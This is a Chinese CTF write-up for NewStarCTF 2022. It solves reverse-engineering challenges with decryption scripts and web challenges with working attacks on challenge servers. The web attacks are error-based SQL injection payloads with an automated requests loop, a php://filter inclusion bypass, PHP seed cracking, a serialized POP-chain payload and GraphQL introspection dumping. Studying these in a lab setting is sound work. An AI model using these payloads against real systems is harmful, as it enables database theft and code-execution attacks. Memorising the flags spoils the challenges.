NewStarCTF 公开赛 2022 RE WP

Week 2

Re

前可见古人，后得见来者

chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43,

           0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x50, 0x43, 0x53, 0x7D, 0x47,

           0x50, 0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x4E, 0x40, 0x4A, 0x5F, ]

flag = ''

for i in range(len(chipher)):

    temp = chr(chipher[i] ^ 0x22)

    if temp.islower():

        flag += chr((ord(temp) - 97 - 13 + 26) % 26 + 97)

    elif temp.isupper():

        flag += chr((ord(temp) - 65 - 13 + 26) % 26 + 65)

    else:

        flag += temp

print(flag)

flag{begin_and_end_re_and_you}

/*********TlsCallback_0_0/

TLS回调函数以及反调试简单使用 - 2f28 - 博客园 (cnblogs.com)

这里的线程回调函数，将偏移值3 变成了 iv+=10,即变成了13

(171条消息) TLS callback_xkdlzy的博客-CSDN博客

FindME

# 小端序 存储

__int64 sub_19B6()

{

  int i; // [rsp+8h] [rbp-8h]

  int j; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 31; i += 4 )

  {

    for ( j = 0; j <= 3; ++j )

      *((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);

  }

  return sub_19A1();

}

#xor

__int64 sub_192E()

{

  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )

    *((_DWORD *)s + i) ^= 0x2022u;

  return sub_1919();

}

# 移位

__int64 sub_151D()

{

  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )

    *((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;

  return sub_1508();

}

# 密文

__int64 sub_1253()

{

  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )

  {

    if ( *((_DWORD *)s + i) != dword_5020[i] )

    {

      dword_5040 = 0;

      return sub_123E();

    }

  }

  return sub_123E();

}

解密py

chipher = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

for i in range(8):

    temp=(chipher[i]&0xffff8000|(chipher[i]&0x00007fff^chipher[i]>>17)) # 直接逆

    temp^=0x2022

    for k in range(4):

        print(chr(temp>>(k*8)&0xff),end='')

flag{D0nt_let_time_bo_so_cheap!}

Petals

去除花之恋

去花后的核心加密函数

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)

{

  int i; // [rsp+18h] [rbp-118h]

  unsigned int j; // [rsp+1Ch] [rbp-114h]

  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF

  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);

  memset(v5, 0, 256);

  for ( i = 0; i <= 255; ++i )

    *((_BYTE *)v5 + i) = ~(i ^ a2);

  for ( j = 0; a2 > j; ++j )

    *(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));

  return v6 - __readfsqword(0x28u);

}

import hashlib

v5 = [0] * 256

chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,

           0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,

           0xD2, 0x82, 0xD3, 0xDE, 0x87]

for i in range(256):

    v5[i] = (~(i ^ 25))&0xff

# print(sorted(v5))

for i in range(len(chipher)):

    print(chr(v5.index((chipher[i])%256)),end='')

print()

print(hashlib.md5('66ccff#luotianyi#b074d58a'.encode()).hexdigest())

66ccff#luotianyi#b074d58a 提交后错误！！！

就很奇怪，然后查了一下洛天依 66ccff 等的含义（无语子）

然后才发现，要MD5后提交！！！

printf("If you are succeed, the flag is flag{md5(your input)}");

笑死！！！！！【没看到，还想着misc的思路去想，，,】

flag{d780c9b2d2aa9d40010a753bc15770de}

Likemyasp

查到 Asp 壳，题目也有提示

找了几个工具都无法脱壳，只能尝试X64debug 脱壳，OD只能调试手动脱壳32 位

[X64debug 不太熟，直接硬逆，不手动脱壳]【下面程序，ida动调+断点跟进获得】

sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[16]);

  sub_7FF7D92D1140((__int64)&_guard_xfg_table_dispatch_icall_fptr[18], v10, 30i64);// scanf

  for ( i = 0; i < 24; i += 4 )

  {

    v6 = (v10[i] ^ 0xAi64) << 37;

    v5 = (v10[i + 1] ^ 0x14i64) << 23;

    v7 = (v10[i + 2] ^ 0x1Ei64) << 14;

    v3 = ~v10[i + 3];

    v8 = v3 | v7 | v5 | v6;

    v9[i / 4] = v8;

  }

  for ( j = 0; j < 6; ++j )

  {

    if ( v9[j] != qword_7FF7D92D4010[j + 5] )   // 密文比较

    {

      sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[19]);

      return sub_7FF7D92D1350((unsigned __int64)&v1 ^ v11);

    }

  }

chipher = [0xD803C1FC098, 0xE20360BC097, 0xFE02A1C00A0, 0xFA0121040CB, 0xF2032104092, 0xD6015884082]

flag = ''

for i in range(len(chipher)):

    flag += chr(chipher[i] >> 37 & 0xff ^ 0xa)

    flag += chr(chipher[i] >> 23 & 0xff ^ 0x14)

    flag += chr(chipher[i] >> 14 & 0xff ^ 0x1e)

    flag += chr(~(chipher[i])& 0xff)

print(flag)

flag{x1hu@n_w0_4sp_ma??}

ur_so_naive

0x01 程序分析

导出 libencry.so 分析加密流程

分析知道，获得四位密钥，即可解密程序

v7 = 0;

  v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);

  v9 = (unsigned __int8 *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);// v9 应该是密钥

  v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)a1 + 704))(a1, a4);

  if ( a4 )

  {

    do

    {

      v11 = (_BYTE *)v8;

      v12 = (*(unsigned __int8 *)(v8 + v7) >> 1) | (*(unsigned __int8 *)(v8 + v7) << 7);// 分别移位  1|7 2|6 3|5 4|4

      *(_BYTE *)(v8 + v7) = v12;

      v13 = ((unsigned __int8)(v12 ^ *v9) >> 2) | ((v12 ^ *v9) << 6);

      *(_BYTE *)(v8 + v7) = v13;

      v14 = ((unsigned __int8)(v13 ^ v9[1]) >> 3) | (32 * (v13 ^ v9[1]));

      *(_BYTE *)(v8 + v7) = v14;

      v15 = ((unsigned __int8)(v14 ^ v9[2]) >> 4) | (16 * (v14 ^ v9[2]));

      *(_BYTE *)(v8 + v7) = v15;

      v16 = v15 ^ v9[3];

      v17 = v7 + 1;

      if ( v7 - a4 != -1 )

        v11 = (_BYTE *)(v8 + v17);

      *(_BYTE *)(v8 + v7) = v16;

      *(_BYTE *)(v8 + v7++) = v16 ^ *v11;

    }

    while ( v17 != a4 );

  }

  (*(void (__fastcall **)(int, int, _DWORD, int, int))(*(_DWORD *)a1 + 832))(a1, v10, 0, a4, v8);

  return v10;

}

解密py

# 爆破

import hashlib

import itertools

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,

           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

# key=[0x7f080058,0x7f08009d,0x7f080180]  # 猜测密钥

# 爆破密钥

modle = list(itertools.product(

    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',

     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',

     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'], repeat=4))

# key = [0x80, 0x01, 0x08, 0x7f]

flag = ''

j=-1

while True:

    j+=1

    str = ''.join(modle[j])

    key=[ord(str[w]) for w in range(len(str))]

    for i in range(len(chipher) - 1, -1, -1):

        for k in range(30, 128):

            temp = (k >> 1) | (k << 7)

            temp = (temp ^ key[0] >> 2) | (temp ^ key[0] << 6)

            temp = (temp ^ key[1] >> 3) | (temp ^ key[1] << 5)

            temp = (temp ^ key[2] >> 4) | (temp ^ key[2] << 4)

            temp = temp ^ key[3]

            if i == len(chipher)-1:

                temp1=k

            else:

                temp1=chipher[i-1]

            if chipher[i]==temp1^temp:

                flag+=chr(k)

                break

    if len(flag) ==len(chipher):

        break

    print('key:', str)

    flag=''

print(flag)

# 显然，复杂度太高，放弃爆破。

0x02 动态调试 .so 文件

名称地址

Java_com_new_1star_1ctf_u_1naive_MainActivity_encry LOAD:Java_com_new_1star_1ctf_u_1naive_MainActivity_encry

ida 动态调试时，出现

[求助]ida出现FFFFFFFF: got SIGILL signal (Illegal instruction) - 『移动安全讨论求助区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

(171条消息) 171025 逆向-安卓脱壳（补充实验）_奈沙夜影的博客-CSDN博客

模拟器为x86架构，而导出的.so程序是ARM架构的原因，只能附加真机,也就是手机和ida 配合起来远程调试

[(171条消息) mobile]真机+IDA调试apk中的so_breezeO_o的博客-CSDN博客

【但是这里比较麻烦，真机调试的话，手机需要root权限等好多限制】

再回到jeb,找到导出.so 文件的位置。有新发现，之前导出的是arm的，无法配合模拟器断点调试.so文件【第一次导出的时候没注意】

那么重新导出X86架构的.so文件，就可以动态调试了，嗨，好多小时才搞定这个，直接麻了，但终于搞定了，舒爽。【这里是结合夜游安卓模拟器+ida附加调试】

动态调试获得 密钥 FALL，获得flag。

附上夜游安卓模拟器+ida附加调试方法：

【nox_adb.exe 时模拟器自带的，可以直接相应目录下使用，也可设置到环境变量中(具体不在赘述)】

【adb【Android 调试桥】介绍Android 调试桥 (adb) | Android 开发者 | Android Developers (google.cn)】

nox_adb devices  # 查看端口

nox_adb.exe connect 127.0.0.1:62001

adb push F:\CTF_\ctf_tool\Re_tool\ida_pro\IDA_7.7_chinese\dbgsrv\android_x86_server  /data/local/tmp        （IDA的dbgsrv目录下有很多版本，根据要动态调试的.so文件架构类                               型，上传，如这里的是android_x86_server，可以成功运行）

【/data/local/tmp/android_server（这个目录其实可以随便放，可以绕过有的程序的反调试，】

adb shell

cd /data/local/tmp

chmod 777 android_x86_server

./android_x86_server

再开一个cmd, 设置端口转发 【将PC端的23946端口收到的数据，转发给到手机(模拟器)中23946端口。】

adb forward tcp:23946 tcp:23946

如此就可愉快的使用 ida 开始附加调试了！

0x03 解密py

下图，是动态调试后发现的一个小细节。静态分析时，我没有注意到！

最后一次处理时，data xor enc[0]

#encoding=utf-8

import hashlib

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,

           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

key =[0x46,0x41,0x4c,0x4c]  # FALL

flag = [0]*24

for i in range(len(chipher) - 1, -1, -1):

    for k in range(30, 128):

        temp = ((k >> 1) | (k << 7))&0xff

        temp = (((temp ^ key[0]) >> 2) | ((temp ^ key[0]) << 6))&0xff

        temp = (((temp ^ key[1]) >> 3) | ((temp ^ key[1]) << 5))&0xff

        temp = (((temp ^ key[2]) >> 4) | ((temp ^ key[2]) << 4))&0xff

        temp = temp ^ key[3]

        if i == len(chipher) - 1:

            temp1 = chipher[0]

        else:

            temp1 = flag[i+1]  # 因为最后一位，xor 第零位，其他处理 xor 后一位，那么以最后一位为突破口，求出flag

        if chipher[i] == temp1 ^ temp:

            flag [i]= k

            break

        # print('第', i, '位 :', k)

print(flag)

for i in range(len(flag)):

    print(chr(flag[i]),end='')

flag{n@1ve_luv_2you#ouo}

Web

Word-For-You(2 Gen)

hint:

哇哇哇，我把查询界面改了，现在你们不能从数据库中拿到东西了吧哈哈（不过为了调试的代码似乎忘记删除了

0x01 程序注入分析

xss :

</h><script>alter();</script><h>  # 直接过滤了

sql 注入

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1    

    # haha' or 1=1 #

    好耶！查询成功

    # haha' order by 5 #   猜测出 2 列

    Unknown column '5' in 'order clause'

    # haha' union select 1,2 #

    The used SELECT statements have a different number of columns

显然可以通过报错注入，得到flag

# all db

haha' and extractvalue(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata limit 0,1),30,30),0x7e))#

XPATH syntax error: '~information_schema,mysql,performance_schema,wfy'

数据库很长

# 数据库 wfy

haha' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

# XPATH syntax error: '~wfy~'  

# 表名 wfy_admin,wfy_comments,wfy_info

haha' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e))#

XPATH syntax error: '~wfy_admin,wfy_comments,wfy_info'   

# 列名 wfy_admin:Id,username,password,cookie

haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_admin' limit 0,1),0x7e))#

XPATH syntax error: '~Id,username,password,cookie~'

# wfy_comments:id,text,user,name,display

haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_comments' limit 0,1),0x7e))#

XPATH syntax error: '~id,text,user,name,display~'

#

haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_info' limit 0,1),0x7e))#

# 空

# 数据

haha' and extractvalue(1,concat(0x7e,(select * from (select user from wfy_comments limit 0,1) as a),0x7e))#

haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#

0x02 解密py

现在，已经知道数据库名，表名，列名。但是由于每次只能获得一条数据，且报错输出长度有限制。那么现在尝试，逐条报错注入获取flag.

import requests

import re

url = 'http://3527aa75-03ba-4f2d-9fef-aff78f745f6d.node4.buuoj.cn:81/comments.php'

result = ''

data = {

    "name": "haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#"

}

headers = {

    "Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"

}

# response = requests.get(url=url, params=data,headers=headers)

# print(response.text)

for i in range(200):

    data['name'] = "haha' and extractvalue(1,concat(0x7e,(select * from (select text from wfy_comments limit {0},1) as a),0x7e))#".format(i)

    response = requests.get(url=url, params=data, headers=headers)

    match = re.findall(r'error\: \'~(.*?)~\'', response.text)  # flag{Ju4t_m2ke_some_err0rs}

    print(match)

在 wtf wfy_comments text 成功得到 flag

flag{Ju4t_m2ke_some_err0rs}

IncludeOne

hint:

文件包含漏洞系列第一题，也不知道是不是真的随机？ 出题人丢给你了一个工具：https://www.openwall.com/php_mt_seed/

0x01 程序分析

<?php

highlight_file(__FILE__);

error_reporting(0);

include("seed.php");

//mt_srand(*********);

echo "Hint: ".mt_rand()."<br>";

if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){

    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){

        //flag in `flag.php`

        include($_GET['file']);

    }else{

        echo "Baby Hacker?";

    }

}else{

    echo "No Hacker!";

} Hint: 1219893521

No Hacker!

(171条消息) CTF_Web：php伪随机数mt_rand()函数+php_mt_seed工具使用_星辰照耀你我的博客-CSDN博客_php rand 伪随机

在php中每一次调用mt_rand()函数，都会检查一下系统有没有播种。（播种为mt_srand()函数完成），当随机种子生成后，后面生成的随机数都会根据这个随机种子生成。所以同一个种子下，随机数的序列是相同的，这就是漏洞点。

那么我们可以通过，种子生成的随机数来爆破，种子。那么就可以得到我们想要的序列。

(172条消息) php_mt_seed - PHP mt_rand() 随机数种子破解使用_like4h的博客-CSDN博客_php_mt_seed 安装

借助题目给的工具。

└─# time ./php_mt_seed  1219893521

Pattern: EXACT

Version: 3.0.7 to 5.2.0

Found 0, trying 0xfc000000 - 0xffffffff, speed 3988.5 Mseeds/s

Version: 5.2.1+

Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s

seed = 0x0011793a = 1145146 (PHP 7.1.0+)

Found 1, trying 0x16000000 - 0x17ffffff, speed 40.7 Mseeds/s

seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)

Found 2, trying 0x64000000 - 0x65ffffff, speed 52.3 Mseeds/s

seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)

seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)

Found 4, trying 0xc4000000 - 0xc5ffffff, speed 52.5 Mseeds/s

seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)

seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)

seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)

seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)

Found 8, trying 0xfe000000 - 0xffffffff, speed 53.3 Mseeds/s

Found 8

0x02 爆破种子

不知道，题目所用php版本，就都尝试一下PHP Sandbox - Execute PHP code online through your browser (onlinephp.io)

<?php

mt_srand(1145146);

echo mt_rand()."\n";

echo mt_rand();

//1219893521  1145146

//1202031004    # 正确

POST / HTTP/1.1

Host: 073b1ab1-50eb-4bfa-95de-17a27cfc39be.node4.buuoj.cn:81

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/x-www-form-urlencoded

Connection: close

guess=1202031004

guess=1202031004

0x03 绕过正则

if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){

        //flag in `flag.php`

        include($_GET['file']);

    }else{

        echo "Baby Hacker?";

    }

# 过滤 base 或 ..  (| 或 \.\. 转义. 防止目录穿越)

编码绕过

.   =>  %2e

/   =>  %2f

% => %25  (双重URL编码)

http://6d0e7775-ad5d-413a-8a66-37fbb2ef74d4.node4.buuoj.cn:81/flag.php  # 可以访问，但没显示。显然flag.php在当前目录

显然是filter伪协议读取，但怎么绕过

读取文件源码可以直接用resource读取(常用)

php://filter/convert.base64-encode/resource=flag.php	base64编码 ---最常用的

php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码

php://filter/string.rot13/resource=flag.php rot13变换

(172条消息) 伪协议filter_php://filter在一次CTF中base被过滤的利用_小明斗的博客-CSDN博客

改为

php://filter/read=string.toupper|string.rot13/resource=NewStar/../../../../../flag.php

===> %252e%252e # 双重编码【获取失败】

如下，NewStar位置应该置于filter后，不影响语句功能,然后保证file中出现NewStar。

php://filter/NewStar/string.rot13/resource=flag.php

得到 rot13

<!--?cuc //synt{66qqr83p-o1qo-4338-nq7r-32r9o986632q}

-->

rot13 解码得到flag

flag{66dde83c-b1db-4338-ad7e-32e9b986632d}

UnserializeOne

0x01 pop 链分析

PHP反序列化研究 - 知乎 (zhihu.com)

(172条消息) CTF之萌新反序列化学习_bmth666的博客-CSDN博客_ctf 反序列化

参考后，构建pop 链

<?php

error_reporting(0);

highlight_file(__FILE__);

#Something useful for you : https://zhuanlan.zhihu.com/p/377676274

class Start{

    public $name;

    protected $func;

    public function __destruct()  //2. 将name设置为Sec类，触发__toString()

    {

        echo "Welcome to NewStarCTF, ".$this->name;

    }

    public function __isset($var) //6.将类名当作函数使用，触发__invoke()，得到flag

    {

        ($this->func)();

    }

}

class Sec{

    private $obj;

    private $var;

    public function __toString() //3.调用一个不可访问方法时调用$this->obj->check，__call 会被调用。同时这里的 $this->var 构建pop链时有用到。

    {

        $this->obj->check($this->var);

        return "CTFers";

    }

    public function __invoke()

    {

        echo file_get_contents('/flag');

    }

}

class Easy{

    public $cla;

    public function __call($fun, $var)  //4.使用 clone 关键字拷贝完成一个对象后，新对象会自动调用定义的魔术方法 __clone()

    {

        $this->cla = clone $var[0];

    }

}

class eeee{

    public $obj;

    public function __clone()      //5.对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用

    {

        if(isset($this->obj->cmd)){

            echo "success";

        }

    }

}

if(isset($_POST['pop'])){

    unserialize($_POST['pop']);  // 1. 反序列化，触发__destruct()析构函数

}

如上所示pop 链分析清楚了。

0x02 构造反序列化数据

<?php

class Start{

    public $name;//='Sec';

    protected $func;//='Sec';

    function __construct(){

        $this->name=new Sec();

        $this->func=new Sec();

    }

class Sec{

    private $obj; //='Easy';

    public $var;

    function __construct(){

        // $this->var=new eeee();  $var 有传递作用，要直接赋值，将属性改为public

        $this->obj=new Easy();

    }

}

class Easy{

    public $cla;//='eeee';

}

class eeee{

    public $obj;//='Start';

}

$Sta=new Start();

$ee=new eeee();

$ee->obj=$Sta;

$Se=new Sec();

$Se->var=$ee;

$Sta->name=$Se;

echo urlencode(serialize($ee));

O%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3Br%3A1%3B%7Ds%3A7%3A%22%00%2A%00func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BN%3B%7D%7D%7D

最终得到flag:

flag{87fbd8ce-bc28-463c-9588-b207042b878e} Welcome to NewStarCTF, CTFers

ezAPI

0x01 题目分析

查阅 DEBUG: object(stdClass)#1 (1) { ["users_user_by_pk"]=> NULL }

php中stdClass的用法详解-php教程-PHP中文网

相关信息没什么进展，然后尝试目录扫描，看有无收获。

在使用 WebPathBurp 扫描目录【用自带的字典来跑】时发现 WWW.zip 备份文件。获得源码！

<?php

error_reporting(0);

$id = $_POST['id'];

function waf($str)

{

    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { //只能输入数字

        return False;

    } else {

        return True;

    }

}

function send($data)

{

    $options = array(

        'http' => array(

            'method' => 'POST',

            'header' => 'Content-type: application/json',

            'content' => $data,

            'timeout' => 10 * 60

        )

    );

    $context = stream_context_create($options);

    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

    return $result;

}

if (isset($id)) {

    if (waf($id)) {         // $data 是可控的

        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';

        $res = json_decode(send($data));

        if ($res->data->users_user_by_pk->name !== NULL) {

            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;

        } else {

            echo "<b>Can't found it!</b><br><br>DEBUG: ";

            var_dump($res->data);

        }

    } else {

        die("<b>Hacker! Only Number!</b>");

    }

} else {

    die("<b>No Data?</b>");

}

?>

$data = {"query":"query{\nusers_user_by_pk(id:flag) {\nname\n}\n}\n", "variables":null}

POST 方式提交的data数据是可控的！

发送到 $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

// graphql

0x02 graphql 数据查询

GraphQL-接口查询利器 - 知乎 (zhihu.com)

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

(172条消息) 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入

id=3&data = {"query":"query{\nusers_user_by_pk(id:3) {\nname\n}\n}\n", "variables":admin}

id =3 对应 admin

data={"query":"query{\nusers_user_by_pk(id:3) {\nname,\n}\n}\n", "variables":null}&id=4

id =4 对应 admin 显然参数可控了。那么就是查询数据库的内容了

# 查看存在的class

data={"query":"{  __schema {types {name}}}"}&id=4

# 最终发现大佬博客中，存下如下payload,可以得到Graphql 所有字段

data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}&id=4

//data={"query":"{  __schema {types {name}}}"}&id=4

查询到所有信息【该API端点的所有信息】

存于 info_Graphsql_.txt, 内容太多，这里就不贴上了

得到关键类信息，但怎么利用查询呢!

// flag 位于 ffffllllaaagggg_1n_h3r3.flag 表 

      [13]=>

      object(stdClass)#181 (8) {

        ["kind"]=>

        string(6) "OBJECT"

        ["name"]=>

        string(28) "ffffllllaaagggg_1n_h3r3_flag"

        ["description"]=>

        string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""

        ["fields"]=>

        array(1) {

          [0]=>

          object(stdClass)#182 (6) {

            ["name"]=>

            string(4) "flag"

            ["description"]=>

            NULL

            ["args"]=>

            array(0) {

            }

            ["type"]=>

            object(stdClass)#183 (3) {

              ["kind"]=>

              string(8) "NON_NULL"

              ["name"]=>

              NULL

              ["ofType"]=>

              object(stdClass)#184 (3) {

                ["kind"]=>

                string(6) "SCALAR"

                ["name"]=>

                string(6) "String"

                ["ofType"]=>

                NULL

              }

            }

            ["isDeprecated"]=>

            bool(false)

            ["deprecationReason"]=>

            NULL

          }

        }

        ["inputFields"]=>

        NULL

        ["interfaces"]=>

        array(0) {

        }

        ["enumValues"]=>

        NULL

        ["possibleTypes"]=>

        NULL

      }

# 如上 flag 就位于 ffffllllaaagggg_1n_h3r3_flag 中

结合题目泄露的源码的查询方式，进行Graphsql 查询！

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=4

得到flag

DEBUG: object(stdClass)#2 (1) {

  ["ffffllllaaagggg_1n_h3r3_flag"]=>

  array(1) {

    [0]=>

    object(stdClass)#1 (1) {

      ["flag"]=>

      string(42) "flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}"

    }

  }

}

flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

Week 3

Re

Zzzzzz3333

直接 z3 求解key,即可得到flag

import base64

from z3 import *

Arglist=[]

for i in range(8):

    Arglist.append(Int(str(i)))

s = Solver()

v13 = Arglist[5]

v11 = Arglist[4]

v9 = Arglist[1]

v12 = Arglist[3]

v8 = Arglist[7]

v10 = Arglist[0]

s.add(Arglist[3]

     + 4 * Arglist[2]

     + Arglist[7]

     + 4 * (Arglist[3] + 4 * Arglist[2])

     + 3 * (Arglist[4] + 4 * Arglist[0])

     + 2 * (Arglist[5] + 4 * Arglist[6])

     + 11 * Arglist[1] == 6426)

s.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)

s.add(5 * v9

     + 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)

s.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)

s.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)

s.add(19 * v12

     + 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8))

     + 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)

s.add(7 * v10 + 17 * (v12 + v9*2) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)

s.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9*2 + 43 * v10 + 21 * v13 == 11646)

print (s.check())

m = s.model()

print (m)

flag_ = ""

for i in Arglist:

    flag_ += chr(int(str(m[i])))

print(flag_)   # key= fallw1nd

key= fallw1nd

